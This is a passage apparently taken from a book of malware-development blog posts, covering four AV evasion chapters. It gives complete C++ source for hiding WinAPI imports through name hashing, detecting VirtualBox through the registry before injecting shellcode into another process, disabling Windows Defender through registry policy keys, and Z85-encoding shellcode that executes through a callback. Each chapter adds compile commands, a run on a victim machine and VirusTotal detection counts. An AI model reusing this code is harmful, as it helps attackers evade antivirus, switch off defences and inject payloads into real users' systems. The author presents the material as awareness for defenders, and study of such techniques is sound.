This is a simple but efficient technique for hiding WinAPI calls. It is calling functions
by hash names and it’s simple and often used in the “wild”.
Let’s look all at an example and you’ll understand that it’s not so hard.

standard calling
Let’s look at an example:
#include <windows.h>
#include <stdio.h>

int main() {
MessageBoxA(NULL, "Meow-meow!","=^..^=", MB_OK);
return 0;
}
Compile:
i686-w64-mingw32-g++ meow.cpp -o meow.exe -mconsole \
-I/usr/share/mingw-w64/include/ -s -ffunction-sections \
-fdata-sections -Wno-write-strings -Wint-to-pointer-cast \
-fno-exceptions -fmerge-all-constants \
-static-libstdc++ -static-libgcc -fpermissive

505
and run:

As expected, it’s just a pop-up window.


Then run strings:
strings -n 8 meow.exe | grep MessageBox

506
As you can see, the WinAPI function are explicitly read in the basic static analysis and:

visible in the application’s import table.

hashing
Now let’s hide the WinAPI function MessageBoxA we are using from malware analysts.
Let’s hash it:
# simple stupid hashing example
def myHash(data):
hash = 0x35
for i in range(0, len(data)):
hash += ord(data[i]) + (hash << 1)
print (hash)
return hash

myHash("MessageBoxA")
and run it:
python3 myhash.py

507
practical example
What’s the main idea? The main idea is we create code where we find WinAPI function
address by it’s hashing name via enumeration exported WinAPI functions.
First of all, let’s declare a hash function identical in logic to the python code:
DWORD calcMyHash(char* data) {
DWORD hash = 0x35;
for (int i = 0; i < strlen(data); i++) {
hash += data[i] + (hash << 1);
}
return hash;
}
Then, I declared function which find Windows API function address by comparing it’s
hash:
static LPVOID getAPIAddr(HMODULE h, DWORD myHash) {
PIMAGE_DOS_HEADER img_dos_header = (PIMAGE_DOS_HEADER)h;
PIMAGE_NT_HEADERS img_nt_header =
(PIMAGE_NT_HEADERS)((LPBYTE)h + img_dos_header->e_lfanew);
PIMAGE_EXPORT_DIRECTORY img_edt = (PIMAGE_EXPORT_DIRECTORY)(
(LPBYTE)h + img_nt_header->
OptionalHeader.
DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].
VirtualAddress);
PDWORD fAddr = (PDWORD)((LPBYTE)h +
img_edt->AddressOfFunctions);
PDWORD fNames = (PDWORD)((LPBYTE)h +
img_edt->AddressOfNames);

508
PWORD fOrd = (PWORD)((LPBYTE)h +
img_edt->AddressOfNameOrdinals);

for (DWORD i = 0; i < img_edt->AddressOfFunctions; i++) {


LPSTR pFuncName = (LPSTR)((LPBYTE)h + fNames[i]);

if (calcMyHash(pFuncName) == myHash) {
printf("successfully found! %s - %d\n",
pFuncName, myHash);
return (LPVOID)((LPBYTE)h + fAddr[fOrd[i]]);
}
}
return nullptr;
}
The logic here is really simple. first we go through the PE headers to the exported
functions we need. In the loop, we will look at and compare the hash passed to our
function with the hashes of the functions in the export table and, as soon as we find a
match, exit the loop:
//...
for (DWORD i = 0; i < img_edt->AddressOfFunctions; i++) {
LPSTR pFuncName = (LPSTR)((LPBYTE)h + fNames[i]);

if (calcMyHash(pFuncName) == myHash) {
printf("successfully found! %s - %d\n",
pFuncName, myHash);
return (LPVOID)((LPBYTE)h + fAddr[fOrd[i]]);
}
}
//...
Then we declare prototype of our function:
typedef UINT(CALLBACK* fnMessageBoxA)(
HWND hWnd,
LPCSTR lpText,
LPCSTR lpCaption,
UINT uType
);
and main():
int main() {
HMODULE mod = LoadLibrary("user32.dll");
LPVOID addr = getAPIAddr(mod, 17036696);
printf("0x%p\n", addr);
fnMessageBoxA myMessageBoxA = (fnMessageBoxA)addr;
myMessageBoxA(NULL, "Meow-meow!","=^..^=", MB_OK);

509
return 0;
}

The full source code of our malware is:


/*
* hack.cpp - hashing Win32API functions. C++ implementation
* @cocomelonc
* https://cocomelonc.github.io/tutorial/
2022/03/22/simple-malware-av-evasion-5.html
*/
#include <windows.h>
#include <stdio.h>

typedef UINT(CALLBACK* fnMessageBoxA)(


HWND hWnd,
LPCSTR lpText,
LPCSTR lpCaption,
UINT uType
);

DWORD calcMyHash(char* data) {


DWORD hash = 0x35;
for (int i = 0; i < strlen(data); i++) {
hash += data[i] + (hash << 1);
}
return hash;
}

510
static LPVOID getAPIAddr(HMODULE h, DWORD myHash) {
PIMAGE_DOS_HEADER img_dos_header = (PIMAGE_DOS_HEADER)h;
PIMAGE_NT_HEADERS img_nt_header = (PIMAGE_NT_HEADERS)(
(LPBYTE)h + img_dos_header->e_lfanew);
PIMAGE_EXPORT_DIRECTORY img_edt = (PIMAGE_EXPORT_DIRECTORY)(
(LPBYTE)h + img_nt_header->
OptionalHeader.
DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].
VirtualAddress);
PDWORD fAddr = (PDWORD)((LPBYTE)h +
img_edt->AddressOfFunctions);
PDWORD fNames = (PDWORD)((LPBYTE)h +
img_edt->AddressOfNames);
PWORD fOrd = (PWORD)((LPBYTE)h +
img_edt->AddressOfNameOrdinals);

for (DWORD i = 0; i < img_edt->AddressOfFunctions; i++) {


LPSTR pFuncName = (LPSTR)((LPBYTE)h + fNames[i]);

if (calcMyHash(pFuncName) == myHash) {
printf("successfully found! %s - %d\n",
pFuncName, myHash);
return (LPVOID)((LPBYTE)h + fAddr[fOrd[i]]);
}
}
return nullptr;
}

int main() {
HMODULE mod = LoadLibrary("user32.dll");
LPVOID addr = getAPIAddr(mod, 17036696);
printf("0x%p\n", addr);
fnMessageBoxA myMessageBoxA = (fnMessageBoxA)addr;
myMessageBoxA(NULL, "Meow-meow!","=^..^=", MB_OK);
return 0;
}

demo
Let’s go to compile our malware hack.cpp:
i686-w64-mingw32-g++ hack.cpp -o hack.exe -mconsole \
-I/usr/share/mingw-w64/include/ -s -ffunction-sections \
-fdata-sections -Wno-write-strings -Wint-to-pointer-cast \
-fno-exceptions -fmerge-all-constants -static-libstdc++ \
-static-libgcc -fpermissive

511
and run:
.\hack.exe

As you can see, our logic is worked!!! Perfect :)


What about strings?
strings -n 8 hack.exe | grep MessageBox

512
And let’s go to see Import Address Table:

If we delve into the investigate of the malware, we, of course, will find our hashes, strings
like user32.dll, and so on. But this is just a case study.
Let’s go to upload to VirusTotal:

513
https://www.virustotal.com/gui/file/d33210e3d7f9629d3465b2a0cec0c490d2254fa1
b9a2fd047457bd9046bc0eee/detection
So 4 of 65 AV engines detect our file as malicious
Notice that we evasion Windows Defender :)
But what about WinAPI functions in classic DLL injection?
I will self-research and write in a next post.
In real malware, hashes are additionally protected by mathematical functions and addi-
tionally encrypted.
For example Carbanak uses several AV engines evasion techniques, one of
them is WinAPI call hashing.
I hope this post spreads awareness to the blue teamers of this interesting technique, and
adds a weapon to the red teamers arsenal.
pe file format
Carbanak
source code in github

514
59. AV/VM engines evasion techniques - part 6. Simple C++ exam-
ple.

This section is a result of self-researching another VM evasion trick. An example how


to bypass Oracle VirtualBox in simple C++ malware via Windows Registry.

registry keys
Registry keys and it’s values may be queries via WinAPI calls. In this post I consider
how to detect VM environment via kernel32.dll functions like RegOpenKeyExA and
RegQueryValueExA.
The function RegOpenKeyExA has the following syntax:
LSTATUS RegOpenKeyExA(
[in] HKEY hKey,
[in, optional] LPCSTR lpSubKey,
[in] DWORD ulOptions,
[in] REGSAM samDesired,
[out] PHKEY phkResult
);
which opens the specified registry key.
Another function RegQueryValueExA retrieves the type and data for the specified value
name associated with an open registry key:
LSTATUS RegQueryValueExA(
[in] HKEY hKey,
[in, optional] LPCSTR lpValueName,
LPDWORD lpReserved,
[out, optional] LPDWORD lpType,

515
[out, optional] LPBYTE lpData,
[in, out, optional] LPDWORD lpcbData
);

1. check if specified registry paths exist


For checking this I can use the following logic:
int reg_key_ex(HKEY hKeyRoot, char* lpSubKey) {
HKEY hKey = nullptr;
LONG ret = RegOpenKeyExA(hKeyRoot, lpSubKey, 0,
KEY_READ, &hKey);
if (ret == ERROR_SUCCESS) {
RegCloseKey(hKey);
return TRUE;
}
return FALSE;
}
So as you can see I just check if registry key path exists. Return TRUE if exists, return
FALSE otherwise.

2. check if specified registry key contain value


For example something like this logic:
int reg_key_compare(HKEY hKeyRoot, char* lpSubKey, char*
regVal, char* compare) {
HKEY hKey = nullptr;
LONG ret;
char value[1024];
DWORD size = sizeof(value);
ret = RegOpenKeyExA(hKeyRoot, lpSubKey, 0, KEY_READ,
&hKey);
if (ret == ERROR_SUCCESS) {
RegQueryValueExA(hKey, regVal, NULL, NULL,
(LPBYTE)value, &size);
if (ret == ERROR_SUCCESS) {
if (strcmp(value, compare) == 0) {
return TRUE;
}
}
}
return FALSE;
}
This function logic is also quite simple. We check value of the registry key via
RegQueryValueExA in which the result of function RegOpenKeyExA is the first

516
parameter.
I will only consider Oracle VirtualBox. For another VMs/sandboxes the tricks is
the same.

practical example
So let’s go to consider practical example. Let’s take a look at the complete source code:
/*
* hack.cpp
* classic payload injection with
VM virtualbox evasion tricks
* author: @cocomelonc
* https://cocomelonc.github.io/tutorial/
2022/04/09/malware-av-evasion-6.html
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>

// reverse shell payload (without encryption)


unsigned char my_payload[] =
"\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41"
"\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
"\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
"\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac"
"\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
"\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
"\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f"
"\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
"\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01"
"\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01"
"\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
"\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
"\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
"\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
"\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7"
"\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x1a\x01\x00\x00\x3e"
"\x4c\x8d\x85\x25\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83"
"\x56\x07\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x4d\x65\x6f\x77\x2d\x6d\x65\x6f\x77\x21\x00\x3d\x5e"
"\x2e\x2e\x5e\x3d\x00";

517
unsigned int my_payload_len = sizeof(my_payload);

int reg_key_ex(HKEY hKeyRoot, char* lpSubKey) {


HKEY hKey = nullptr;
LONG ret = RegOpenKeyExA(hKeyRoot, lpSubKey, 0,
KEY_READ, &hKey);
if (ret == ERROR_SUCCESS) {
RegCloseKey(hKey);
return TRUE;
}
return FALSE;
}

int reg_key_compare(HKEY hKeyRoot, char* lpSubKey,


char* regVal, char* compare) {
HKEY hKey = nullptr;
LONG ret;
char value[1024];
DWORD size = sizeof(value);
ret = RegOpenKeyExA(hKeyRoot, lpSubKey, 0, KEY_READ,
&hKey);
if (ret == ERROR_SUCCESS) {
RegQueryValueExA(hKey, regVal, NULL, NULL,
(LPBYTE)value, &size);
if (ret == ERROR_SUCCESS) {
if (strcmp(value, compare) == 0) {
return TRUE;
}
}
}
return FALSE;
}

int main(int argc, char* argv[]) {


HANDLE ph; // process handle
HANDLE rt; // remote thread
PVOID rb; // remote buffer

if (reg_key_ex(HKEY_LOCAL_MACHINE,
"HARDWARE\\ACPI\\FADT\\VBOX__")) {
printf("VirtualBox VM reg path value detected :(\n");
return -2;
}

if (reg_key_compare(HKEY_LOCAL_MACHINE,

518
"SYSTEM\\CurrentControlSet\\Control\\SystemInformation",
"SystemProductName", "VirtualBox")) {
printf("VirtualBox VM reg key value detected :(\n");
return -2;
}

if (reg_key_compare(HKEY_LOCAL_MACHINE,
"SYSTEM\\CurrentControlSet\\Control\\SystemInformation",
"BiosVersion", "VirtualBox")) {
printf("VirtualBox VM BIOS version detected :(\n");
return -2;
}

// parse process ID
printf("PID: %i", atoi(argv[1]));
ph = OpenProcess(PROCESS_ALL_ACCESS, FALSE,
DWORD(atoi(argv[1])));

// allocate memory buffer for remote process


rb = VirtualAllocEx(ph, NULL, my_payload_len,
(MEM_RESERVE | MEM_COMMIT),
PAGE_EXECUTE_READWRITE);

// "copy" data between processes


WriteProcessMemory(ph, rb, my_payload,
my_payload_len, NULL);

// our process start new thread


rt = CreateRemoteThread(ph, NULL, 0,
(LPTHREAD_START_ROUTINE)rb, NULL, 0, NULL);
CloseHandle(ph);
return 0;
}
As you can see it’s just classic payload injection with some VM VirtualBox detection
tricks via Windows Registry.
Check path: HKLM\HARDWARE\ACPI\FADT\VBOX_:

519
Enumerating reg key SystemProductName from
HKLM\SYSTEM\CurrentControlSet\Control\SystemInformation
and compare with VirtualBox string:

and BIOS version key BiosVersion from same path:

520
Note that in all cases key names are case-insensitive.

demo
Let’s go to compile this malware hack.cpp:
i686-w64-mingw32-g++ -O2 hack.cpp -o hack.exe -mconsole \
-I/usr/share/mingw-w64/include/ -s -ffunction-sections \
-fdata-sections -Wno-write-strings -fno-exceptions \
-fmerge-all-constants -static-libstdc++ \
-static-libgcc -fpermissive

and run (Windows 10 x64 in my case):

521
Let’s go to upload to VirusTotal:

https://www.virustotal.com/gui/file/e4d265297f08a5769d2f61aafb3040779c5f31f6
99e66ad259e66d62f1bacb03/detection
So 8 of 68 AV engines detect our file as malicious
If we delve into the investigate of the real-life malware and scenarios, we, of course, will
find many other specified registry paths and keys.
I hope this section spreads awareness to the blue teamers of this interesting technique,
and adds a weapon to the red teamers arsenal.
evasion techniques by check point software technologies ltd
classic payload injection
AV engines evasion part 1
AV engines evasion part 2
AV engines evasion part 3
AV engines evasion part 4
AV engines evasion part 5
source code in github

522
60. malware AV evasion: part 7. Disable Windows Defender. Sim-
ple C++ example.

This post is the result of self-researching one of the most common tricks in the malware
in the wild.

windows defender
The anti-malware software Windows Defender (now known as Microsoft Defender
Antivirus) protects your computer from external threats. Microsoft has developed the
antivirus to safeguard Windows 10 computers from virus threats.
This antivirus is preinstalled on all Windows 10 editions.
To avoid possible detection of their malware/tools and activities, adversaries may modify
or disable security tools. For example Windows Defender.

practical example
Let’s go to try disable Windows Defender Antivirus via modifying Windows registry.
First of all, it is important to remember that disabling requires administrator rights.
In active mode, Microsoft Defender Antivirus serves as the device’s primary antivirus
program. Threats are remedied and detected threats are listed in your organization’s
security reports and Windows Security application. To disable all this you just need to
modify the registry keys:
LONG res = RegOpenKeyEx(HKEY_LOCAL_MACHINE,
"SOFTWARE\\Policies\\Microsoft\\Windows Defender",
0, KEY_ALL_ACCESS, &key);
if (res == ERROR_SUCCESS) {
RegSetValueEx(key, "DisableAntiSpyware", 0,
REG_DWORD, (const BYTE*)&disable, sizeof(disable));

523
RegCreateKeyEx(key, "Real-Time Protection", 0, 0,
REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, 0, &new_key, 0);
RegSetValueEx(new_key, "DisableRealtimeMonitoring", 0,
REG_DWORD, (const BYTE*)&disable, sizeof(disable));
RegSetValueEx(new_key, "DisableBehaviorMonitoring", 0,
REG_DWORD, (const BYTE*)&disable, sizeof(disable));
RegSetValueEx(new_key, "DisableScanOnRealtimeEnable", 0,
REG_DWORD, (const BYTE*)&disable, sizeof(disable));
RegSetValueEx(new_key, "DisableOnAccessProtection", 0,
REG_DWORD, (const BYTE*)&disable, sizeof(disable));
RegSetValueEx(new_key, "DisableIOAVProtection", 0,
REG_DWORD, (const BYTE*)&disable, sizeof(disable));

RegCloseKey(key);
RegCloseKey(new_key);
}
But as I wrote earlier, this requires admin rights, for this we create a function which
check this:
// check for admin rights
bool isUserAdmin() {
bool isElevated = false;
HANDLE token;
TOKEN_ELEVATION elev;
DWORD size;
if (OpenProcessToken(GetCurrentProcess(),
TOKEN_QUERY, &token)) {
if (GetTokenInformation(token, TokenElevation,
&elev, sizeof(elev), &size)) {
isElevated = elev.TokenIsElevated;
}
}
if (token) {
CloseHandle(token);
token = NULL;
}
return isElevated;
}
Since Windows Vista, UAC has been a crucial feature for mitigating some risks associ-
ated with privilege elevation. Under UAC, local Administrators group accounts have two
access tokens, one with standard user privileges and the other with administrator priv-
ileges. All processes (including the Windows explorer - explorer.exe) are launched
using the standard token, which restricts the process’s rights and privileges. If the user
desires elevated privileges, he may select “run as Administrator” to execute the process.
This opt-in grants the process all administrative privileges and rights.

524
A script or executable is typically run under the standard user token due to UAC access
token filtering, unless it is “run as Administrator” in elevated privilege mode. As a
developer or hacker, it is essential to understand the mode in which you are operating.
So, full PoC script to disable Windows Defender is something like:
/*
hack.cpp
disable windows defender dirty PoC
author: @cocomelonc
https://cocomelonc.github.io/tutorial/
2022/06/05/malware-av-evasion-7.html
*/

#include <cstdio>
#include <windows.h>

// check for admin rights


bool isUserAdmin() {
bool isElevated = false;
HANDLE token;
TOKEN_ELEVATION elev;
DWORD size;
if (OpenProcessToken(GetCurrentProcess(),
TOKEN_QUERY,
&token)) {
if (GetTokenInformation(token, TokenElevation,
&elev, sizeof(elev), &size)) {
isElevated = elev.TokenIsElevated;
}
}
if (token) {
CloseHandle(token);
token = NULL;
}
return isElevated;
}

// disable defender via registry


int main(int argc, char* argv[]) {
HKEY key;
HKEY new_key;
DWORD disable = 1;

if (!isUserAdmin()) {
printf("please, run as admin.\n");
return -1;

525
}

LONG res = RegOpenKeyEx(HKEY_LOCAL_MACHINE,


"SOFTWARE\\Policies\\Microsoft\\Windows Defender", 0,
KEY_ALL_ACCESS, &key);
if (res == ERROR_SUCCESS) {
RegSetValueEx(key, "DisableAntiSpyware", 0,
REG_DWORD, (const BYTE*)&disable, sizeof(disable));
RegCreateKeyEx(key, "Real-Time Protection", 0,
0, REG_OPTION_NON_VOLATILE,
KEY_ALL_ACCESS, 0, &new_key, 0);
RegSetValueEx(new_key, "DisableRealtimeMonitoring",
0, REG_DWORD, (const BYTE*)&disable, sizeof(disable));
RegSetValueEx(new_key, "DisableBehaviorMonitoring",
0, REG_DWORD, (const BYTE*)&disable, sizeof(disable));
RegSetValueEx(new_key, "DisableScanOnRealtimeEnable",
0, REG_DWORD, (const BYTE*)&disable, sizeof(disable));
RegSetValueEx(new_key, "DisableOnAccessProtection",
0, REG_DWORD, (const BYTE*)&disable, sizeof(disable));
RegSetValueEx(new_key, "DisableIOAVProtection",
0, REG_DWORD, (const BYTE*)&disable, sizeof(disable));

RegCloseKey(key);
RegCloseKey(new_key);
}

printf("perfectly disabled :)\n");


printf("press any key to restart to apply them.\n");
system("pause");
system("C:\\Windows\\System32\\shutdown /s /t 0");
return 1;
}

demo
Let’s go to see everything in action. First of all, check our defender:

526
and check registry keys:
reg query "HKLM\Software\Policies\Microsoft\Windows Defender" /s

As you can see, we have standard registry keys.


Then, let’s go to compile our script from attacker’s machine:
x86_64-w64-mingw32-g++ -O2 hack.cpp -o hack.exe \
-I/usr/share/mingw-w64/include/ -s -ffunction-sections \
-fdata-sections -Wno-write-strings -fno-exceptions \
-fmerge-all-constants -static-libstdc++ \
-static-libgcc -fpermissive

And run it on the victim’s machine:


.\hack.exe

527
According to the logic of the our program, the machine turns off. Then, turn on it again
and check:
reg query "HKLM\Software\Policies\Microsoft\Windows Defender" /s

For correctness, check via Windows Defender Security Center:

528
As you can see, everything is worked perfectly!
But of course, this trick is not new, nowadays threat actors may tamper with artifacts
deployed and utilized by security tools. Security products may load their own modules
and/or modify those loaded by processes to facilitate data collection. Adversaries may

529
unhook or otherwise modify these features added by tools to avoid detection.
This trick is used by Maze and Pysa ransomwares in the wild.
For the next part, I’ll learn and research a trick, the point of which is to deprive the
antivirus process of privileges, thanks to which it can check files for malware.
MITRE ATT&CK. Impair Defenses: Disable or Modify Tools
Gorgon Group
H1N1 Malware
Maze ransomware
Pysa ransomware
source code on github

530
61. Malware AV evasion - part 8. Encode payload via Z85 algorithm.
C++ example.

This article is the result of my own research into interesting trick: encoding payload via
Z85.
Since the methods of encrypting the payload with the AES and XOR algorithms and
encoding (for example, with the base64 algorithm) have been studied with blue teamers
quite well, the question arose to try to hide the payload in a non-standard way.

Z85
Ascii85, also called Base85, is a form of binary-to-text encoding used to communicate
arbitrary binary data over channels that were designed to carry only English language
human-readable text. Z85 a format for representing binary data as printable text. Z85
is a derivative of existing Ascii85 encoding mechanisms, modified for better usability,
particularly for use in source code.

practical example
Let’s go to look at a practical example. First of all encode our payload via Z85
(encode.cpp):
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <./z85.h>
#include <./z85.c>
#include <windows.h>

531
char* encode(const char* src, size_t len) {
// allocate output buffer (+1 for null terminating char)
char* dest = (char*)malloc(Z85_encode_with_padding_bound(len) + 1);

if (len == 0) {
dest[0] = '\0'; // write null terminating char
return dest;
}

// encode the input buffer, padding it if necessary


len = Z85_encode_with_padding(src, dest, len);

if (len == 0) { // something went wrong


free(dest);
return NULL;
}

dest[len] = '\0'; // write null terminating char

return dest;
}

unsigned char payload[] =


"\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41"
"\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
"\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
"\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac"
"\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
"\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
"\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f"
"\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
"\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01"
"\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01"
"\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
"\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
"\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
"\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
"\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7"
"\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x1a\x01\x00\x00\x3e"
"\x4c\x8d\x85\x25\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83"
"\x56\x07\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x4d\x65\x6f\x77\x2d\x6d\x65\x6f\x77\x21\x00\x3d\x5e"
"\x2e\x2e\x5e\x3d\x00";

532
int main() {
char* str = encode((const char*)payload, sizeof(payload));
if (str) {
printf("%s\n", str);
free(str);
}
return 0;
}
Then compile it:
x86_64-w64-mingw32-g++ -O2 encode.cpp -o encode.exe \
-I/usr/share/mingw-w64/include/ \
-I/home/cocomelonc/hacking/cybersec_blog/2022-07-29-malware-av-evasion-8 \
-s -ffunction-sections -fdata-sections -Wno-write-strings \
-fno-exceptions -fmerge-all-constants -static-libstdc++ \
-static-libgcc -fpermissive

and run:
.\encode.exe

533
As usually, for simplicity I used meow-meow messagebox payload:
unsigned char my_payload[] =
// 64-bit meow-meow messagebox
"\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41"
"\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
"\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
"\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac"
"\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
"\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
"\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f"
"\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
"\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01"
"\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01"
"\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
"\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
"\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
"\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
"\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7"
"\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x1a\x01\x00\x00\x3e"
"\x4c\x8d\x85\x25\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83"
"\x56\x07\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"

534
"\xd5\x4d\x65\x6f\x77\x2d\x6d\x65\x6f\x77\x21\x00\x3d\x5e"
"\x2e\x2e\x5e\x3d\x00";
Then, in the next step we put this encoded payload to our “malware”. I took the technique
of running payload from one of the previous articles:
/*
* hack.cpp
* Z85 encode payload
* author: @cocomelonc
* https://cocomelonc.github.io/malware/2022/07/30/malware-av-evasion-8.html
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <./z85.h>
#include <./z85.c>
#include <windows.h>

int main(int argc, char* argv[]) {


BOOL rv;
HANDLE th;
DWORD oldprotect = 0;

char e_my_payload[] = "2@78z1[C&K*>*fqf06%EFp/pd>nhnL7nq*wNk1HPf7^pGGqxOd]I/"


"ISTndSg4n>?4Znhm]YjyJQsefEl{:QHJp.q:&Wk#x*pI=7VYI:xJ%0"
"NK2*Fqsg907.*VBz<XJ=}(]:neKJUI:eyR0NP>inDl^}l5NNQncdpo"
"g08%vZ]P&r:QHJp.8Qv}[JGRGoE6)jiNJ02suYchkQn]4=$kEcIWScum2KqInDEg4l5L"
"(4ncd76sv34}sZ19[l0lGSnq3mKk#N:vsv37[k1HOA>$g{P%6njp.2KDn06S@kL]"
"oV606T8oG^u:107X&^laPHqrTnVPYwKXV3phn2Ma-:*!"
"KUthc{dYY3v@3iBP]xE6ln2a09IQA*w/X$wP8=AzdNTfaPKVie?QD[00000";
char d_my_payload[314] = {};
size_t d = Z85_decode_with_padding(e_my_payload, d_my_payload, strlen(e_my_payload));
LPVOID mem = VirtualAlloc(NULL, sizeof(d_my_payload), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
RtlMoveMemory(mem, d_my_payload, sizeof(d_my_payload));
EnumDesktopsA(GetProcessWindowStation(), (DESKTOPENUMPROCA)mem, 0);
return 0;
}
Many thanks to [@artemkin](https://github.com/artemkin/z85) for real-worked C/C++
implementation, also encoding/decoding with padding.

demo
Let’s go to see everything in action. Compile our “malware”:
x86_64-w64-mingw32-g++ -O2 hack.cpp -o hack.exe \
-I/usr/share/mingw-w64/include/ \

535
-I/home/cocomelonc/hacking/cybersec_blog/2022-07-29-malware-av-evasion-8 \
-L/usr/x86_64-w64-mingw32/lib/ -s -ffunction-sections \
-fdata-sections -Wno-write-strings -fno-exceptions \
-fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive

and run in our victim’s machine:


.\hack.exe

As you can see, everything is work perfectly :)


Let’s go to upload hack.exe to VirusTotal:

So, 14 of 70 AV engines detect our file as malicious.


https://www.virustotal.com/gui/file/6345f46e33919dd1e0691508a1f705d33ed44aad
bdd1bb01a15fdad628b29fca/detection

536
if you remember, this technique without encoding showed the result 16 of 66:

https://www.virustotal.com/gui/file/657ff9b6499f8eed373ac61bf8fc98257295869a
833155f68b4d68bb6e565ca1/detection
We have reduced the number of AV engines which detect our malware from 16
to 14!
So it can be assumed that evasion works.
I hope this post spreads awareness to the blue teamers of this interesting technique, and
adds a weapon to the red teamers arsenal.
Z85
https://github.com/artemkin/z85
EnumDesktopsA
source code in github

537
62. malware av evasion - part 9. Encrypt base64 encoded payload
via RC4. C++ example.

